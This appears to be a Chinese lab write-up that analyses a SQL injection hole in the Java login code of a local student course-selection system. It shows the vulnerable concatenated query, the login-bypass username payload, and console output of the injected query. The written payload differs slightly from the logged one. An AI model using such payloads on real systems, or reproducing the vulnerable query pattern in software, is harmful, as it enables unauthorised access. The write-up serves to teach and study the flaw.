

分析 LoginFrame.java

```
1 if(selectedItem.equals("教师"))
2     loginQuery = "SELECT * FROM 教师表 WHERE(登陆帐号='"
3         + loginUserName + "' AND 登陆密
4         码 ='"
5         + loginPassword + "')";
6 else if(selectedItem.equals("管理员"))
7     loginQuery = "SELECT * FROM 管理员 WHERE(用户名='"
8         + loginUserName + "' AND 密码 ='"
9         + loginPassword + "')";
10 else // (selectedItem.equals("学生"))
11     loginQuery = "SELECT * FROM 学生基本信息表 WHERE(学号='"
12         + loginUserName + "' AND 密
13         码 ='"
14         + loginPassword + "')";
15 loginStatement = loginConnection.createStatement();
16 System.out.println(loginQuery); // XD
17 loginResultSet = loginStatement.executeQuery( loginQuery );
18 boolean Records = loginResultSet.next();
19 if ( ! Records )
20 {
21     JOptionPane.showMessageDialog(LoginFrame.this, "没有此用户或密码错误" );
22     return;
23 }
24 else
25 {
26     login = 1 ;
27 }
```

可知验证身份的 SQL 语句为

```
1 "SELECT * FROM 教师表 WHERE(登陆帐号='"
2     + loginUserName + "' AND 登陆密码 ='"
3     + loginPassword + "')"
```

构造特殊用户名 1001' -- 密码随意



则最终 Query 为

```
1 SELECT * FROM 教师表 WHERE(登陆帐号='1001' -- ' AND 登陆密码 ='qqqq')
```

对密码的验证成功被注释掉 成功登入系统

The screenshot shows a Java development environment with the following details:

- Main.java:** The code is as follows:

```
  J Main.java 6  X  J LoginFrame.java 6  ↴ Sql注入.md
J Main.java > Main > main(String[])
import javax.swing.*;
import java.awt.*;
import javax.crypto.Data;
public class Main
{
    public static void main(String[] args)
    {
        try{
            DataBaseInfo.initDataBase();
            JFrame myFrame = new LoginFrame();
            myFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
            myFrame.setVisible(true);
        }
        catch (Exception e){
            System.out.println(e.toString());
        }
    }
}
```

- Running Application:** A window titled "学生选课管理系统" (Student Course Selection System) is displayed. The window contains the message "欢迎使用学生信息管理系统" (Welcome to the Student Information Management System).
- Terminal:** At the bottom, there is a terminal window showing the following command-line session:

```
问题 83 调试控制台 终端

at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)
PS D:\EchoKovo\Desktop\StudentCourse> d:; cd 'd:\EchoKovo\Desktop\StudentCourse'; & 'C:\Program Files\Java\jdk1.8.0_202\bin\java' -jar cp_4f9xcoqov7tyjqtqw6klj80a5.jar 'Main'
url = jdbc:mysql://localhost:3306/sc
SELECT * FROM 教师表 WHERE(登陆帐号='1001') -- ' AND 登陆密码 ='qqqq')
PS D:\EchoKovo\Desktop\StudentCourse> d:; cd 'd:\EchoKovo\Desktop\StudentCourse'; & 'C:\Program Files\Java\jdk1.8.0_202\bin\java' -jar cp_4f9xcoqov7tyjqtqw6klj80a5.jar 'Main'
url = jdbc:mysql://localhost:3306/sc
SELECT * FROM 教师表 WHERE(登陆帐号='1001') -- ' AND 登陆密码 ='qqqq')
```